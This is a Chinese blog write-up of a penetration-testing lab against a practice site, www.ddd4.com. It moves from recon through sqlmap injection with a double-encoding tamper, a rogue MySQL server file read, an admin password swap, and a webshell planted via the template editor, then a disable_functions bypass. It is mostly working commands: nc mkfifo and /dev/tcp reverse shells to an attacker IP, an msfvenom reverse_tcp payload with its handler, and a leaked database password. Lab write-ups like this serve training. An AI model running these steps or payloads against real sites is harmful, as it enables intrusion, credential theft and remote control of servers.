暗月渗透测试项目五

准备工作

环境搭建

使用的是暗月提供的环境

直接虚拟机运行即可

设置网络环境

网卡配置的时候为了方便直接使用的是暗月的vm19的网卡配置的内网环境

环境搭建完成

如果使用的Mac的环境话、对于内网环境的搭建也最好是使用vm虚拟机不是使用pd

Mac环境搭建

10.10.10.0网卡的搭建

1,打开vm偏好设置、添加一块网卡

就像上图添加设置就行

2.子网掩码配置

终端打开

cd /Library/Preferences/VMware\ Fusion/

进入文件夹下

编辑networking

sudo vim networking

需要修改的地方

VNET_3开头的配置就是我们创建的那块网卡,有子网掩码和子网网段,注意,是子网地址网段

继续打开新增的vm网卡的文件夹下

修改配置文件nat.cnf

sudo vim nat.cnf

然后保存即可

然后进入需要配置的虚拟机

连接网卡

配置完成

00x1-信息搜集+网站复现

信息搜集

首先我们知道目标网站的域名

测试真实ip

这里这可以通过ping的方式查找真是的ip

下面是介绍的一些信息搜集的方法

https://mp.weixin.qq.com/s/vJfhagYyQk8nZUSIdJviyA

使用nmap进行端口扫描

nmap -Pn -sS 192.168.0.122 -A -oA ddd4

这里为了方便后面使用msf利用漏洞直接将扫描的结果输出文档了

进行cms指纹的扫描识别

whatweb http://www.ddd4.com/

结果

这里我们已经能确定开启的端口以及网站的cms框架、以及使用的cms框架的版本

网站的复现

将上述扫描到的cms指纹框架源码下载下来我们还需要自己在本机进行相应的复现、这样才能方便我们后续的代码审计

放到自己的机器上面进行复现、这里我们可以使用PHP study在本机的Windows上进行网站的复现我们也可以在自己的Linux万能网站框架上进行复现、可以最大程度的复原网站

Linux

网站复现

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dv7Ecss6-1643529165728)(https://gitee.com/jokerjq/like4h-blog-img/raw/master/images/202201292223261.png)]

00x2-网站代码审计、漏洞利用、进入网站

审计源码

我们要审计的网站源码是网站复现搭建完成后的网站源码而不是我们自己刚刚下载下来的网站源码、因为只有复现搭建完成后的网站源码才有相关数据库的写入关系

先使用seasy源码审计工具进行自动审计

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VRC9KmFL-1643529165729)(https://gitee.com/jokerjq/like4h-blog-img/raw/master/images/202201292224244.png)]

对于代码审计的顺序我们一般要做的就是跟着整个网站的逻辑顺序先查看一边有无可以利用的函数例如:对于可控参数的地方是否有sql注入、命令执行、任意文件读取、文件包含等一些简单常用的漏洞

查看index.php

在首页网站我们可以看到的是对网页的dbconfig.php文件的检查,查看是否进行网站的安装、

完后会跳转到loader目录下的load.php文件、

在这个文件我们看到是一些静态问价的加载、但是在后面还会加载doc.php的文件

跟踪

这里我们发现一直被调用引用的参数

查看限制这个参数的cleanArrayForMysqld的方法

查看到这个方法是对data参数的gpc转义

什么是gpc转义

就是使用反斜线引用字符串

同时还有发现以=一个sql的waf的方法、查看这个方法被那些函数调用了

后台登录的时候的输入框的调用以及评论的输入框的调用、

sql注入一

我们继续排查的时候在静态文件配置文件里面找到一个apliy.php的支付文件

但是这里的注入有一个前提条件是需要满足验证结果的

命令执行漏洞

我们查找网站的功能模块的时候在搜索功能取发现了可控参数、keyword我们可以通过url编码的方式绕过sql的检查方法

编码测试

url编码绕过sql检查

test

不管是经过一次的url编码还是经过两次的url编码都是能正常解析输入的内容的。

网站上测试

输入内容

输入的url编码内容成功的被解析并且还成功的执行了sql的查询功能、同时还有报错

然后就是sql注入的利用

使用双编码的方式进行sql注入我们是可以使用sqlmap进行注入的

在sqlmap里面有一个双url编码的脚本

chardoubleencode.py

字符双编码脚本

使用sqlmap

sqlmap -u "http://www.ddd4.com/search?keyword=1" --dbms mysql -v 1 --tamper chardoubleencode.py --dbs --batch

结果

成功得到数据库

但是继续想使用–os-sell来拿shell的时候发现是不成功的

sqlmap -u "http://www.ddd4.com/search?keyword=1" --dbms mysql -v 1 --tamper chardoubleencode.py --os-shell --batch

结果

获取

shell不成功我们目标网站还有一个重要的就是打包网站的数据库文件。

sqlmap -u "http://www.ddd4.com/search?keyword=1" --dbms mysql -v 1 --tamper chardoubleencode.py -D www_ddd4_com -T doc_user --dump

得到admin用户的密码

admin密码

9430q1yc97c94304a6sy04ef5f8b2l42f136e0s8d423d5d0uj259f85af8n0547x28f21yc97c

尝试使用MD5爆破无果

源码审计admin用户密码的加密方式,然后尝试逆破密码

查看对于passwd参数检查的函数

引用的两个方法

得到加密的方法

跟踪

密码逆向基本不可能了

还有的方法只能是进行密码的替换了(需要数据库的权限)但是我们是没有数据库的密码的、现在的权限是很低的

这个sql的可利用点基本上就没有太大了

漏洞三:

回到seasy源码审计

基本上我们在审计挖网站漏洞的时候主要注意的漏洞点就是(sql注入、命令执行、文件包含、任意文件读取、目录穿越)的漏洞

测试

在首页的index.php对于参数的限制是比较死的、只能是数组里面的两个(cn、en)

在查看admin下的index.php的情况

最后出现的可包含的位置

%00截断绕过(文件包含)

查看文件包含的过程(是如何从index.php的文件中直接跳转到login.php的过程、这其中肯定涉及到login.php的文件包含的过程)

在index.php里我们可以看到默认传参的是 有定义的

所以是不需要输入就可以直接跳转的,这里我们测试一下参数 l 是不是可以控制的

l 的参数确实是可以控制的

下面尝试文件包含

尝试使用%00截断的方式(但是这个00截断的方式的使用是有限制的、只能是在php版本<5.3的时候才能使用的)

我们可以尝试一下

发现是不行的

我们看一下php的版本、在响应头的位置也是没有的

看一下有没有phpinfo的文件存在

这里是用不了的

漏洞四:

MySQL任意文件读取

原理:利用的是网站在安装的时候、在获取数据库信息以及数据库的安装检查的时候是分开的、是先将用户输入的数据库信息写入到setup目录下的一个db-config-sample.php的文件中的、然后在数据库进行检查的是时候是在check.php文件中、要连接上数据库的时候是获取的全局变量的、这就造成了数据库检查时的参数可控的情况。

利用:我们针对数据库检查交互的时候、数据库的位置我们是可以自己控制的、然后利用python自己伪造一个mysql的服务、让目标机连接我们的虚假数据库服务、进行数据的获取。

漏洞工具:Rogue-MySql-Server

我们在seasy中看到了setup的文件包含的漏洞

发现可控的参数

访问尝试

直接返回了0

有戏、跟踪checkdb.php

一个数据库连接的文件、这里我们发现

mysql客户端任意文件读取

使用脚本

教程

在攻击机里执行

确定自己的ip

攻击语句

www.ddd4.com/setup/checkdb.php?dbname=mysql&uname=root&pwd=123456&dbhost=192.168.0.128&action=chkdb

语句构成

结果

会有报错说明已经执行成功、访问的就是我们攻击机上的假的mysql服务器

我们想要的结果是在poc文件下的log里面记录的

然后我们在修改要读取的文件、我们知道网站的配置信息数据库信息都是在/config/doc-config-cn.php的文件中的,我们尝试读取。

执行

结果

成功将/www/wwwroot/www.ddd4.com/config/doc-config-cn.php

的文件带出

配置文件信息就能到的

mysql的配置信息
www_ddd4_com
x4ix6ZrM7b8nFYHn
localhost
class.docencryption.php

尝试远程登录

发现是可以远程登录的

这时候我们就可以进行admin用户的密码替换了

我们在前面已经知道密码的加密方式、这里我们可以进行加密

将得到的加密算法class.docencryption.php

然后使用login.php里面的加密方式进行加密

然后自己改写加密方式,让其输出指定的值

结果

得到我们自己设置的密码

33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0

替换

结果

测试

结果

成功进入后台

00x3-后台任意文件上传漏洞挖掘

后台文件上传

我们在前面已经成功的将admin用户的密码进行了替换

成功的进入到后台

基础的查看网站的所有功能、看看有没有后台文件上上传的地方

查看到有编辑器的存在、能够保存html的网页、这样我们就能上传htnl的马、这里的方法和项目三的html马上传是一样的

查找能够上传本地文件的位置

添加用户的图像上传

在用户管理的模块我们可以看到有数据库和用户的管理模块

在这里我们还能够对网站的数据库数据进行备份、删除、上传

数据库上传位置的分析

首先分析文件上传的流程以及使用过的函数

抓包分析

跟踪函数方法

分析

function uploadsql()
{global $request;$uploadfile=basename($_FILES['uploadfile']['name']);if($_FILES['userfile']['size']>$request['max_file_size'])echo '<script>alert("您上传的文件超出了2M的限制!");window.history.go(-1);</script>';if(fileext($uploadfile)!='sql') echo '<script>alert("只允许上传sql格式文件!");window.history.go(-1);</script>';#这里在判断文件上传类型的时候我们可以看到、函数知识进行了是否是sql的一个判断、判断完成以后是没有退出#的我们是可以在这里进行截断的$savepath = ABSPATH.'/temp/data/'.$uploadfile;if(move_uploaded_file($_FILES['uploadfile']['tmp_name'], $savepath)){echo '<script>alert("数据库SQL脚本文件上传成功!");window.history.go(-1);</script>';}else{echo '<script>alert("数据库SQL脚本文件上传失败!");window.history.go(-1);</script>';}
}

利用网站的逻辑漏洞、就是在判断上传的文件点后是没有对判断进行退出的、而是在判断之后直接有向下执行了而不是exit退出整个上传的逻辑判断的

利用

尝试

然后去上传的文件夹里面查看

直接能够访问到

上传小马

蚁剑链接

是无法直接解析php文件的

想到刚刚的图片是可以解析、上传成功的、我们上传图片马

连接

无法使用php解析图片

查看phpinnfo信息查看是否开启.user.ini配置文件

帮助图片马的解析

可以解析

上传

蚁剑连接

还是没有办法解析图片马

尝试上传其他文件方式

phtml

失败

可能是由于后台的apache服务的允许解析的后缀问价名没有添加phtml文件的解析功能

编辑器模板漏洞

有个模板编辑的文件位置

编辑模板

发现可以直接编辑网站原有的php文件

直接测试

访问网站的首页

直接就成了

写马连shell

连接

这里我们使用的是蚁剑发现是连接不上去的

查看是不是因为disable_function的问题

并没有将eval函数写入到disable_function当中

应该是连接工具的问题、使用菜刀

连接

00x4-baypass_disablefuc

通过菜刀webshell我们上传自己的大马

查看webshell能不能执行命令

无法执行命令

查看disable_function

存在大量的被禁函数

passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,
ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,
pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,
pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,
pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,
pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
imap_open,apache_setenv

绕过

这里我们可以使用大佬的脚本

here

食用方法:

将文件夹里的.so文件与.php文件上传到网站的目录下面

在网站上面访问这个文件

注意访问的参数

我们需要修改为

http://www.ddd4.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

结果

成功执行pwd的命令

查看用户id

尝试反弹shell

攻击机起一个监听端口

执行命令

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.46.9 9010 >/tmp/fbash -i >& /dev/tcp/192.168.46.9/9010 0>&1

注意:

脚本使用的时候参数是需要进行url编码的

执行

结果

是能够反弹的,但是shell是不能执行命令的

gg

反弹shell失败、常规操作没有了

00x5-MSF生成攻击载荷

使用matespolite生成木马文件

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.46.9 LPORT=9010 -f elf > /home/kali/Desktop/ddd4/ddd4re

结果

攻击载荷

上传

执行攻击载荷

打开matespolite

建立工作区

使用use multi/handler模块

use multi/handler

进入我们刚刚使用的那个模块、进行监听

set payload linux/x86/meterpreter/reverse_tcp

查看设置的情况

show options

执行

exploit   在前台监听一次、用户断开后就需要重新监听
exploit -j 在后台监听、可以一直不断开

网站访问我们上传的载荷

增加可执行权限

chmod 777 ddd4

666没有执行权限

怎加权限

使用刚刚的脚本

结果

成功修改

执行载荷

./ddd4

攻击机查看反弹情况

matespolite上已经成功反弹并且能够执行命令

00x6-建立完整的shell权限

我们在上面是用matesploit监听反弹过来的shell虽然能够执行一些命令、但是在使用键盘上其他键位的时候会出现乱码

也就是没有办法很好的使用

解决

攻击机本地新建一个监听端口

在msf上的shell在次反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.46.9 7777 >/tmp/f

执行

结果

对于Linux的nc监听反弹的shell窗口我们可以

按住crtl+z 再按fg的时候就可以把放在后台的应用 可以再次把它调用出来

测试

然后使用Pythonshell

python -c 'import pty;pty.spawn("/bin/bash")'

在次退出前台

执行

stty raw -echo

然后再次执行命令即可

写在最后

欢迎大家加入星球一起学习、里面有各种红队资源、工具、各种小技巧啊!

暗月渗透测试项目-五(上)相关推荐

  1. 暗月渗透测试项目-五(下)

    00x7-linux三大提权工具使用 信息搜集 LinEnum.sh 主要是检查Linux的系统信息的脚本文件 linux-exploit-suggester.sh文件 检查Linux系统上是否存在指 ...

  2. 0004 渗透测试项目

    0004 渗透测试项目 我在 0003 渗透测试标准一文已经详细记录了渗透测试的 7 个过程,即前期交互阶段.情报手机阶段.威胁建模阶段.漏洞分析阶段.漏洞攻击阶段.后渗透测试阶段和报告阶段.一个完整 ...

  3. 渗透测试基础-文件上传漏洞 (下)

    渗透测试基础-文件上传漏洞 (下) 第十一题 %00截断绕过 第十二题 %00截断绕过(二) 第十三题 图片马绕过 第十四题 getimagesize图片类型绕过 第十五题 php_exif模块图片类 ...

  4. 渗透测试 对头像上传漏洞检测与修复

    很多客户网站以及APP在上线运营之前都会对网站进行渗透测试,提前检测网站是否存在漏洞,以及安全隐患,避免因为网站出现漏洞而导致重大的经济损失,客户找到我们SINE安全做渗透测试服务的时候,我们都会对文 ...

  5. 网络安全进阶篇(十一章-5)APP渗透测试篇(上)

    每日一句:渗透测试,一定要有耐心,所有的功能点都要测试.很多地方不亲身经历是没有太多的感受的. 一.App渗透测试原理 1.简介App渗透测试与Web渗透测试从某种角度说基本没有区别App其实就是手机 ...

  6. 网站漏洞渗透测试项目复检分析

    最近我们Sinesafe参加的几家机构的渗透测试防守方防护方案评估复查,部分防守方缺乏对攻击者的正确认知,攻击者的手法已经比较高超了,不扫描,不落地,污染日志等都很普及了.同时也要正确认知对手:攻防演 ...

  7. 使用python进行渗透测试_利用Python进行Web渗透测试(五):剖析HTTP请求

    本篇概要URL的结构 HTTP头域 HTTP状态码 一个完整的HTTPget请求 在上一篇我们简单介绍了HTTP协议的概念和知识,本篇我们来详细剖析一下HTTP的请求,将这两篇综合起来,我们就对HTT ...

  8. 渗透测试-pdf文件上传-XSS

    前言 pdf是portable document format的缩写,是目前广泛应用于各种场合的文件格式,其是由Adobe公司根据Postscript语言修改后提出的文件标准,并且被ISO组织接受,目 ...

  9. 合天实验室:渗透测试项目一

    任务一:注入木马 写一个.jpg的木马文件 浏览器设置127.0.0.1:8080代理 将木马上传到网站 用burpsuit抓包 再单击forward放行,回到页面发现成功上传 关闭代理,访问上传的文 ...

最新文章

  1. Android之linux基础教学之二 总体架构
  2. Mixup vs. SamplePairing:ICLR2018投稿论文的两种数据增广方式
  3. SAP CRM WebClient UI Abstract Page的Selenium实现
  4. angularjsl路由_AngularJs ng-route路由详解
  5. java 10进制转 000x_java 如何把 00 转换成 0x00 或者 10 转换成 0x10
  6. 一些诗作-2015年
  7. checkbox的全选与反选
  8. Flutter基础—布局模型之滚动块
  9. 初始化Direct3D(2)
  10. 各种投影灯泡的清零方法!
  11. 如何使用 OpManager 进行磁盘空间监控?
  12. 笠翁对韵(全卷,珍藏版附注释)
  13. 【C++】*P、P 、P的区别
  14. 网络爬虫——中国大学排名数据抓取
  15. python中global用法实例
  16. 搜集整理的一些博客导航
  17. Web前端期末大作业---响应式美女健身教练瑜伽馆网页设计(HTML+CSS+JavaScript+)实现
  18. Csharp 判断UNICODE字符是否属于汉字
  19. 王海波:Discuz! X 社区功能架构
  20. UNITY2D 地图滚动DEMO

热门文章

  1. 【C语言入门】输入年号,计算这一年的 2 月份的天数,将结果输出。
  2. 一些基础的图像增强方法,批量处理饱和度、噪声、对比度等调整
  3. [Python] 字符串类型及其操作
  4. python归档excel数据_python 数据存储excel
  5. Python 获取网易云音乐热门评论,周杰伦歌曲晴天
  6. DNS健康监测是如何实现的?
  7. 一条“万圣节妆容”视频获赞64万,快手美妆达人还有哪些出圈机会?
  8. 程序员作图软件-推荐
  9. 描述Servlet生命周期
  10. 小白科研笔记:深入理解SA-SSD中的Part-sensitive Warping机制